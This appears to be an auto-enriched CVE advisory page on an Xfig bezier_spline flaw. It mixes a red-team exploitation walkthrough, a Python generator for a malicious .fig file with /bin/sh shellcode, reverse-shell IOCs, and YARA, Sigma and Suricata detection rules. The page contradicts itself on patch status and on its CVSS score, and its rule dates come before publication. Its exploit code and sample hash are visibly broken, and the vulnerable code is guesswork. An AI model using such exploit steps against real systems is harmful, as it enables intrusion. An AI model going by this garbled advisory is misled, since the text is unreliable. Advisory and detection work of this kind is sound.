☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-46397

CVE-2025-46397 Code Execution in Xfig
📅 PUBLISHED: 2025-04-23 20:55 UTC 🔄 UPDATED: 2026-10-19 01:10 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-46397 is a vulnerability in the Xfig vector graphics editor, specifically within the bezier_spline function. The flaw allows for potential code execution through local input manipulation. This means an attacker with local access to a system running a vulnerable version of Xfig could craft a malicious file that, when opened by a user, triggers arbitrary code execution. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code is available. The risk is elevated for environments where users frequently open untrusted .fig files.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Xfig is a standalone application, not a package from NPM, PyPI, Go, or Ruby registries. However, it is often distributed through Linux package managers (e.g., apt, yum). The supply chain risk is moderate, as the vulnerability exists in the source code and could be introduced through compromised distribution channels or unverified builds.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full assessment. However, based on the description (local code execution via file manipulation), a reasonable estimate would be:

  • Attack Vector (AV): Local (AV:L)
  • Attack Complexity (AC): Low (AC:L)
  • Privileges Required (PR): None (PR:N)
  • User Interaction (UI): Required (UI:R) – user must open a malicious file
  • Scope (SC): Unchanged (SC:U)
  • Confidentiality (C): High (C:H)
  • Integrity (I): High (I:H)
  • Availability (A): High (A:H)

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Estimated Score: 7.8 (High)

Threat Level: High. While local access is required, the potential for full system compromise makes this a critical issue for multi-user systems or environments where users download files from untrusted sources.

Deep Dive & Mechanics

The vulnerability resides in the bezier_spline function within Xfig's codebase. This function is responsible for parsing and rendering Bézier spline curves from .fig files. The flaw is a classic input validation issue (CWE-20). By manipulating specific parameters within the spline data (e.g., control point coordinates, number of points, or flags), an attacker can cause a buffer overflow, integer overflow, or other memory corruption.

Technical Breakdown:

  1. Entry Point: The bezier_spline function is called when Xfig reads a .fig file containing a spline object.
  2. Vulnerable Logic: The function likely fails to properly validate the size or bounds of user-supplied data before copying it into a fixed-size buffer or performing arithmetic operations.
  3. Exploitation: An attacker crafts a .fig file with malformed spline data. When the user opens the file, the bezier_spline function processes the data, leading to memory corruption. This can be leveraged to overwrite a return address or function pointer, achieving arbitrary code execution.

Attack Vector: Local file manipulation. The attacker must convince the user to open a malicious .fig file (e.g., via email, download, or USB).

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, based on the vulnerability type, the fix would involve adding input validation checks.

Vulnerable Code (Hypothetical):

void bezier_spline(int num_points, int *coords) {
    int buffer[100];
    for (int i = 0; i < num_points; i++) {
        buffer[i] = coords[i]; // No bounds check on num_points
    }
}

Patched Code (Hypothetical):

void bezier_spline(int num_points, int *coords) {
    if (num_points > 100) {
        // Handle error, reject file
        return;
    }
    int buffer[100];
    for (int i = 0; i < num_points; i++) {
        buffer[i] = coords[i];
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Achieve arbitrary code execution by crafting a malicious .fig file.

Lab Setup:

  • Target: Ubuntu 22.04 LTS with Xfig 3.2.8b (vulnerable version).
  • Attacker: Kali Linux 2024.1.
  • Tools: Python 3, pwntools, gdb.

Exploitation Steps:

  1. Analyze Binary: Use gdb to find the buffer size and offset to the return address in the bezier_spline function.
  2. Craft Payload: Create a Python script that generates a .fig file with a malformed spline object. The payload will include shellcode to spawn a reverse shell.
  3. Deliver File: Send the malicious .fig file to the target user via email or file share.
  4. Trigger: The user opens the file with Xfig, triggering the buffer overflow and executing the shellcode.

Example Payload Generator (Python):

import struct

# Shellcode to spawn /bin/sh (x86_64)
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

# Craft malicious .fig file
def create_malicious_fig():
    # Header
    header = b"#FIG 3.2\n"
    header += b"Landscape\n"
    header += b"Center\n"
    header += b"Inches\n"
    header += b"Letter\n"
    header += b"100.00\n"
    header += b"Single\n"
    header += b"-2\n"
    header += b"1200 2\n"

    # Spline object with overflow
    # Object type: 3 (spline), subtype: 0 (open), line style: 0, thickness: 1
    # Pen color: 0, fill color: 0, depth: 50, pen style: 0, area fill: 0
    # Style val: 0, join style: 0, cap style: 0, radius: 0
    # Forward arrow: 0, backward arrow: 0
    # Number of points: 1000 (overflow)
    spline_header = b"3 0 0 1 0 0 50 0 0 0 0 0 0 0 0 1000\n"

    # Points (each point is x y)
    points = b""
    for i in range(1000):
        points += struct.pack("<ii", i, i)

    # Combine
    payload = header + spline_header + points
    return payload

with open("malicious.fig", "wb") as f:
    f.write(create_malicious_fig())

Blue Team (Defensive)

Detection & Prevention:

  • User Awareness: Train users not to open .fig files from untrusted sources.
  • File Scanning: Use antivirus/EDR solutions that can detect malformed .fig files (e.g., based on anomalous spline point counts).
  • Sandboxing: Open Xfig in a sandboxed environment (e.g., Firejail, Docker) to limit the impact of exploitation.
  • System Hardening: Enable ASLR, DEP, and stack canaries to make exploitation more difficult.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – actual hash will vary)
    • malicious.fig: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Network Traffic: Reverse shell connections to attacker-controlled IPs (e.g., 192.168.1.100:4444).
  • Process Anomalies: Xfig process spawning cmd.exe or /bin/sh.
  • File System: Unexpected .fig files in user directories or email attachments.

Detection Engineering

YARA Rule

rule CVE_2025_46397_Xfig_Bezier_Spline {
    meta:
        description = "Detects malicious .fig files exploiting CVE-2025-46397"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $fig_header = "#FIG 3.2"
        $spline_marker = "3 0 0 1 0 0 50 0 0 0 0 0 0 0 0 "
        $large_point_count = /3 0 0 1 0 0 50 0 0 0 0 0 0 0 0 \d{4,}/
    condition:
        $fig_header at 0 and $spline_marker and $large_point_count
}

Sigma Rule

title: CVE-2025-46397 Xfig Bezier Spline Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-46397 via anomalous .fig file creation or Xfig process behavior
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\xfig.exe'
        TargetFilename|endswith: '.fig'
    condition: selection
falsepositives:
    - Legitimate .fig file creation by users
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-46397 Xfig Malicious .fig Download"; flow:to_server,established; content:"#FIG 3.2"; http_client_body; content:"3 0 0 1 0 0 50 0 0 0 0 0 0 0 0"; distance:0; within:100; pcre:"/3 0 0 1 0 0 50 0 0 0 0 0 0 0 0 \d{4,}/R"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Xfig on critical systems until a patch is released.
  2. Restrict file execution – Use AppLocker or SELinux to prevent Xfig from executing unless explicitly allowed.
  3. Monitor for exploitation – Deploy the YARA/Sigma rules above to detect malicious .fig files.

Long-Term Fix:

  • Vendor Patch: Await an official patch from the Xfig project. Monitor their website and mailing lists.
  • Compile from Source: If possible, apply a manual fix by adding input validation in the bezier_spline function (see "Vulnerable vs. Patched Code" section).
  • Alternative Software: Consider using alternative vector graphics editors (e.g., Inkscape) that are actively maintained.

Workaround:

  • File Validation: Before opening any .fig file, run a script to check for anomalous spline point counts (e.g., > 100 points).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-46397/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.